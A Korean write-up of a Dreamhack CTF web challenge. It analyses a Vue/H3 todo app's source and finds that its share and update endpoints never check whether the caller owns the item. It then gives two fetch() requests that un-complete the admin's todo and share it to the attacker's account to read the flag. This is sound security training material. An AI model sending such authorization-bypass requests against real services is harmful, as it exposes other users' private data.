[Dreamhack] Level 2: TODO List 0.0.1

1. 문제

https://dreamhack.io/wargame/challenges/1533

TODO List 0.0.1

*Dreamhack CTF Season 6 Round #8 (🌱Div2) 에 출제

---

2. 해결 과정

(1) 문제 페이지 분석 

접속하면 로그인과 회원가입 하라는 페이지가 뜬다.

 

회원가입은 username, 이메일, 비밀번호로 이루어진다. 

test/ test@gmail.com /test1234로 회원가입한 뒤 로그인을 진행해보았다.

나의 투두 리스트를 추가하라는 페이지가 뜬 뒤, 투두 리스트의 제목과 내용, 날짜를 입력받는다. 

 

제목 : 내용으로 출력되며, 체크박스를 통해 완료한 일정에 대해 표시를 할 수 있다.

날짜를 입력받았는데 날짜 내용이 출력되지는 않는 것 같다.

 

(2) 코드 분석

파일을 다운로드해보니 front단은 vue.js를 이용해서 구현이 되었다. 

vue.js란 사용자 인터페이스를 개발하기 위한 자바스크립트 프론트엔드 프레임워크이다.
출처: https://pso62.tistory.com/entry/Vuejs%EB%9E%80-%EC%9E%A5%EC%A0%90%EA%B3%BC-%EB%8B%A8%EC%A0%90-%EC%A0%84%EB%A7%9D

 

create.sql 파일을 통해 admin계정이 추가되어있고, 플래그는 Todo 테이블에 저장되었다는 것을 알 수 있었다. 

즉, 플래그는 admin 계정의 첫번째 투두 내용이다. 

INSERT INTO Todo (todo_list_id, title, description, is_completed) VALUES (
    1,
    'flag',
    'DH{sample_flag}',
    1
);

..

INSERT INTO Users (username, email, password) VALUES (
    'admin',
    'admin@dreamhack.io',
    'helloworld' -- redacted
);
INSERT INTO Todolist (user_id, name) VALUES (
    1,
    'admin'
);

 

회원가입 (signup.js)

• SQLite 데이터베이스와 H3 프레임워크 사용
• readBody: h3에서 제공하는 함수로, request의 Body값을 읽음 
• 비밀번호는 bcrpyt이라는 해시함수를 사용하여 단방향 암호화함 (복호화 불가)

https://velog.io/@hxyxneee/bcrypt%EB%A5%BC-%ED%86%B5%ED%95%B4-%EB%B9%84%EB%B0%80%EB%B2%88%ED%98%B8-%EC%95%94%ED%98%B8%ED%99%94%ED%95%98%EA%B8%B0

• openDatabase: SQLite 데이터베이스와 연결

import { readBody, createError } from 'h3';
import bcrypt from 'bcryptjs';
import { openDatabase } from '../utils/db';



export default async (req, res) => {
    const db = await openDatabase();
    const { username, email, password } = await readBody(req);

    if (!username || !email || !password) {
        throw createError({ statusCode: 400, statusMessage: 'All fields are required.' });
    }

    const hashedPassword = await bcrypt.hash(password, 10);

    try {
        await db.run('BEGIN');  
        const result = await db.run('INSERT INTO Users (username, email, password) VALUES (?, ?, ?)', [username, email, hashedPassword]);
        await db.run('INSERT INTO Todolist (user_id, name) VALUES (?, ?)', [result.lastID, 'Default List']);
        await db.run('COMMIT'); 
        return { message: 'User registered successfully.', userId: result.lastID };
    } catch (error) {
        await db.run('ROLLBACK'); 
        if (error.code === 'SQLITE_CONSTRAINT') {
            throw createError({ statusCode: 409, statusMessage: 'Username or email already exists.' });
        } else {
            throw createError({ statusCode: 500, statusMessage: 'Could not register user.' });
        }
    }
}

 

회원가입을 하기 위해서는 username, email, password가 모두 필요하다. (하나라도 없으면 400 에러 발생)

username, email, 해시된 password를 Users 테이블에 삽입한다. 새로 생성된 사용자의 ID를 기반으로 Todolist 테이블에 기본 할 일 목록을 추가한다. result.lastID는 새로 생성된 사용자의 ID (식별키) 로, 기본 할 일 목록과 연결하는 데 사용된다.

 

Todolist 테이블의 user_id 열에 해당 사용자 ID를 삽입하고, name 열에는 'Default List'라는 기본 목록을 추가합니다. 이 과정을 통해 Users 테이블의 id와 Todolist 테이블의 user_id가 연결되어, 새로 생성된 사용자가 자신의 할 일 목록을 쉽게 참조할 수 있게된다.

 

-- Users
CREATE TABLE IF NOT EXISTS Users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    email TEXT NOT NULL UNIQUE,
    password TEXT NOT NULL
);

-- TodoList
CREATE TABLE IF NOT EXISTS Todolist (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    user_id INTEGER,
    name TEXT NOT NULL,
    description TEXT,
    FOREIGN KEY (user_id) REFERENCES Users(id) ON DELETE CASCADE
);

 

로그인

• JWT(JSON Web Token)를 생성하여 반환
• 이메일이나 비밀번호 둘 중 하나라도 틀리면 400에러가 발생한다.
  • email : Users 테이블에 존재하지 않으면 User not found / 404 에러 발생
  • password: 입력값과 비밀번호의 해시값을 비교하고 없으면 Invalid password 401 에러 발생
•  인증에 성공하면 user.id와 이메일을 페이로드로 포함하는 jwt 토큰을 생성한다. 이 jwt 토큰의 만료시간은 3시간이다.

토큰 생성까지 완료되면 로그인이 완료되고 토큰을 반환한다. 

import { createError, readBody } from 'h3';
import bcrypt from 'bcryptjs';
import { openDatabase } from '../utils/db';
import jwt from 'jsonwebtoken';

const JWT_SECRET_KEY = process.env.JWT_SECRET_KEY || 'your_secret_key';
export default async (req, res) => {
    const db = await openDatabase();
    const { email, password } = await readBody(req);

    if (!email || !password) {
        throw createError({ statusCode: 400, statusMessage: 'Email and password are required.' });
    }

    try {
        const user = await db.get('SELECT * FROM Users WHERE email = ?', [email]);
        if (!user) {
            throw createError({ statusCode: 404, statusMessage: 'User not found!' });
        }

        const passwordValid = await bcrypt.compare(password, user.password);
        if (!passwordValid) {
            throw createError({ statusCode: 401, statusMessage: 'Invalid password!' });
        }

        const token = jwt.sign(
            { userId: user.id, email: user.email }, 
            JWT_SECRET_KEY,
            { expiresIn: '3h' } 
        );

        return { message: 'Login successful!', token }; 
    } catch (error) {
        throw createError({ statusCode: 500, statusMessage: 'Error logging in user.' });
    }
}

 

todo와 관련된 코드는 shareTodo.js, todo.js, todolist.js, updateTodo.js 이렇게 4개가 있다. 

 

todolist 업데이트 : updateTodo.js

• verifyToken 함수를 통해 request에서 토큰을 검증하고 사용자 데이터를 추출한다.

import jwt from 'jsonwebtoken';

const JWT_SECRET_KEY = process.env.JWT_SECRET_KEY || 'your_secret_key';

export function verifyToken(req) {
    const authHeader = req.headers.authorization;

    if (!authHeader || !authHeader.startsWith('Bearer ')) {
        throw new Error('No token provided');
    }
    const token = authHeader.split(' ')[1];
    return jwt.verify(token, JWT_SECRET_KEY);
}

• userData 변수에는 인증된 사용자 정보를 저장한다.
• body 변수에는 body값을 읽어와 저장한다.
• body에서 id와 value를 추출한다.
• id: 업데이트할 Todo 항목의 고유 ID
• UPDATE todo SET is_completed = ? WHERE id = ?

import { readBody, createError } from 'h3';
import { openDatabase } from '../utils/db';

export default defineEventHandler(async (event) => {
    const userData = verifyToken(event.req);
    const db = await openDatabase();
    const body = await readBody(event);
    
    const { id, value} = body;
    try {
        const result = await db.run(
            `UPDATE todo
             SET is_completed = ?
             WHERE id = ?`,
            [value, id]
          );
        return { success: true, message: 'Todo updated successfully', id: result.lastID };
    } catch (error) {
        throw createError({ statusCode: 500, statusMessage: 'Database error: ' + error.message });
    }
});

 

todolist 조회: todolist.js

• userData.userId를 사용하여 사용자가 소유한 할 일 목록의 ID를 조회하고, 해당 ID를 가진 Todo 항목들을 조회한다
• sharedList: TodoShares 테이블에서 userData.userId에 해당하는 항목을 조회하여 sharedList 배열에 저장한다.
  • for 루프를 통해 sharedList를 순회하며, permission_type이 "owner" 또는 "shared"인 항목만을 추가한다.
  • db.get을 사용하여 id에 맞는 Todo 항목을 가져와서 todoList 배열에 추가한다.

import { verifyToken } from '../utils/auth';
import { openDatabase } from '../utils/db';

export default defineEventHandler(async (event) => {
    try {
        const userData = verifyToken(event.req);
        const db = await openDatabase();
        const todoList = await db.all('SELECT * FROM Todo where todo_list_id=(SELECT id FROM Todolist WHERE Todolist.user_id = ?)', [userData.userId]);

        const sharedList = await db.all('SELECT * FROM TodoShares where user_id= ? ', [userData.userId]);
        for (const shared of sharedList){
            if (shared.permission_type === "owner" || shared.permission_type === "shared")
            todoList.push(await db.get('SELECT * FROM Todo where id = ?',[shared.todo_id]));
        };
        return todoList;
    } catch (error) {
        return createError({
            statusCode: 401,
            statusMessage: 'Unauthorized: ' + error.message
        });
    }
});

 

하지만 share 기능을 웹페이지 상에서 실제로 찾을 수 없다.

 

index.vue

그 이유는 share 코드가 아직 구현중이기 때문이다 (아마 문제의 제목이 버전명인 이유일 것)

<!--
under construction 
<button @click="shareTodo"> Share </button>
-->

 

하지만 share 기능과 관련한 js 코드는 구현되어있다. 단순히 html에 추가되지 않았을 뿐이다. 

이 부분에 취약점이 존재할 가능성이 높다.

투두 리스트 공유: shareTodo.js

 

• 데이터베이스에서 todo.id에 해당하는 할 일 항목을 가져와 todo_data에 저장한다.
• 만약 할 일이 완료된 상태(is_completed === 1)라면, 할 일을 공유(share)할 수 없으므로 메시지와 함께 해당 항목의 ID를 반환한다.
• TodoShares 테이블에 새 행을 추가하여 할 일이 특정 사용자에게 공유되었음을 저장한다. 
• todo_data.id는 공유할 할 일의 ID이고, todo.target_id는 이 할 일이 공유될 대상 사용자의 ID이다.
• permission_type 필드는 'shared'로 설정되어, 이 사용자가 공유된 상태임을 나타낸다. 

이때, 공유 상태로 변환하는 로직에서 토큰을 확인하여 로그인 상태만을 확인할 뿐, 투두리스트의 작성자 본인인지는 확인하지 않는다.

이 부분에서 확실한 취약점을 발견하였다.

 

import { readBody, createError } from 'h3';
import { openDatabase } from '../utils/db';

export default defineEventHandler(async (event) => {
    const userData = verifyToken(event.req);
    const db = await openDatabase();
    const body = await readBody(event);
    
    const todo = body;
    try {
        const todo_data = await db.get(
            'SELECT * FROM Todo WHERE id = ?', [todo.id]
        );
        if (todo_data.is_completed === 1) {
            return { message: 'you cannot share already completed todo', id: todo_data.id}
        }

        const result = await db.run(
            `INSERT INTO TodoShares (todo_id, user_id, permission_type) VALUES
            (?, ?, ?)`,
            [todo_data.id, todo.target_id, 'shared']
          );
        return { success: true, message: 'Todo shared successfully', id: result.lastID };
    } catch (error) {
        throw createError({ statusCode: 500, statusMessage: 'Database error: ' + error.message });
    }
});

 

투두리스트: todo.js

• title과 description 둘 중 하나라도 누락되면 400 Bad Request 오류를 발생한다.
• Todolist 테이블에서 사용자의 user_id를 기준으로 todo_list_id를 조회한다
• 이후, INSERT INTO 쿼리를 사용하여 todo 테이블에 새 할 일 항목을 추가한다.
• title, description, startDate, dueDateFormatted 등은 할 일 항목의 세부 정보를 포함한다.
• 삽입 결과는 result에 저장되며, 새로 추가된 할 일 항목의 ID는 result.lastID로 확인할 수 있다.

import { readBody, createError } from 'h3';
import { openDatabase } from '../utils/db';

export default defineEventHandler(async (event) => {
    const userData = verifyToken(event.req);
    const db = await openDatabase();
    const body = await readBody(event);
    
    const { title, description, dueDate } = body;
    if (!title || !description) {
        throw createError({ statusCode: 400, statusMessage: 'Title and description are required.' });
    }

    const startDate = new Date().toISOString();
    const dueDateFormatted = dueDate ? new Date(dueDate).toISOString() : null;

    try {
        const todoListId = await db.get('SELECT id FROM Todolist WHERE user_id = ?', [userData.userId]);
        const result = await db.run(
            `INSERT INTO todo (todo_list_id, title, description, start_date, due_date)
             VALUES (?, ?, ?, ?, ?)`,
            [todoListId.id, title, description, startDate, dueDateFormatted]
        );
        return { success: true, message: 'Todo added successfully', id: result.lastID };
    } catch (error) {
        throw createError({ statusCode: 500, statusMessage: 'Database error: ' + error.message });
    }
});

 

 

(3) 익스플로잇

가장 먼저 생각난 아이디어는 admin 계정의 투두리스트를 share 상태로 바꾸는 시나리오다. 

앞서 말했듯, share 상태로 바꿔주는 shareTodo에서는 해당 투두리스트의 작성자인지 확인하는 로직이 없기 때문이다.

 

따라서 위의 요청을 보내주기 위해 vue 코드를 보면, api/shareTodo 엔드포인트로 POST 요청을 보내야 하며, 인증을 위해 Authorization 헤더에 토큰(아무 계정이나 상관x)을 포함해야 한다.

async function shareTodo(todo) {
  try {
    const data = JSON.stringify(
      todo
    );
    const token = localStorage.getItem('auth_token');
    if (!token) {
      throw new Error('login plz');
    }
    const response = await fetch('/api/shareTodo', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer ${token}`,
      },
      body: data,
    });
    if (!response.ok) {
      throw new Error('Failed to share api');
    }
  } catch (error) {
    console.error('Error share todo:', error);
    alert('Error share todo');
  }
}

 

또한, shareTodo.js을 통해 share요청 본문에는 todo_id(Todo 테이블의 id)와 user_id(어떤 계정이든 상관x, Users 테이블의 id)가 필요하다는 것을 알 수 있다. 

import { readBody, createError } from 'h3';
import { openDatabase } from '../utils/db';

export default defineEventHandler(async (event) => {
    const userData = verifyToken(event.req);
    const db = await openDatabase();
    const body = await readBody(event);
    
    const todo = body;
    try {
        const todo_data = await db.get(
            'SELECT * FROM Todo WHERE id = ?', [todo.id]
        );
        if (todo_data.is_completed === 1) {
            return { message: 'you cannot share already completed todo', id: todo_data.id}
        }

        const result = await db.run(
            `INSERT INTO TodoShares (todo_id, user_id, permission_type) VALUES
            (?, ?, ?)`,
            [todo_data.id, todo.target_id, 'shared']
          );
        return { success: true, message: 'Todo shared successfully', id: result.lastID };
    } catch (error) {
        throw createError({ statusCode: 500, statusMessage: 'Database error: ' + error.message });
    }
});

 

따라서 아래와 같이 요청을 보내주었다.

admin 계정이 가장 먼저 생성되고, test 계정이 그 뒤에 생성되었으므로 test의 id는 2일 것이고 admin 계정의 가장 먼저 생성된 todo이므로, 이 투두의 id는 1일 것이다. 

fetch('/api/shareTodo', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Authorization': `Bearer ${localStorage.getItem('auth_token')}`,
  },
  body: JSON.stringify({
    id: 1,
    target_id: 2
  }),
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));

 

요청은 성공했지만, 이미 완료된 요청이라고 뜬다.

즉 플래그가 담겨있는 투두가 이미 완료 상태로 체크가 된 것이다. 

 

따라서 완료를 해제하는 요청을 먼저 전송해주어야 한다.

이 요청 또한 코드를 분석하여 요청을 만들어 보내주었다.

fetch('/api/updateTodo', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Authorization': `Bearer ${localStorage.getItem('auth_token')}`,
  },
  body: JSON.stringify({
    id: 1,
    value: false  
  }),
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));

 

완료 상태를 해제하는 요청이 성공하였다.

 

따라서 이후에 shared로 변환하는 요청을 보내준 뒤 todolist를 새로 고침하면 플래그를 확인할 수 있다 

 

3. 플래그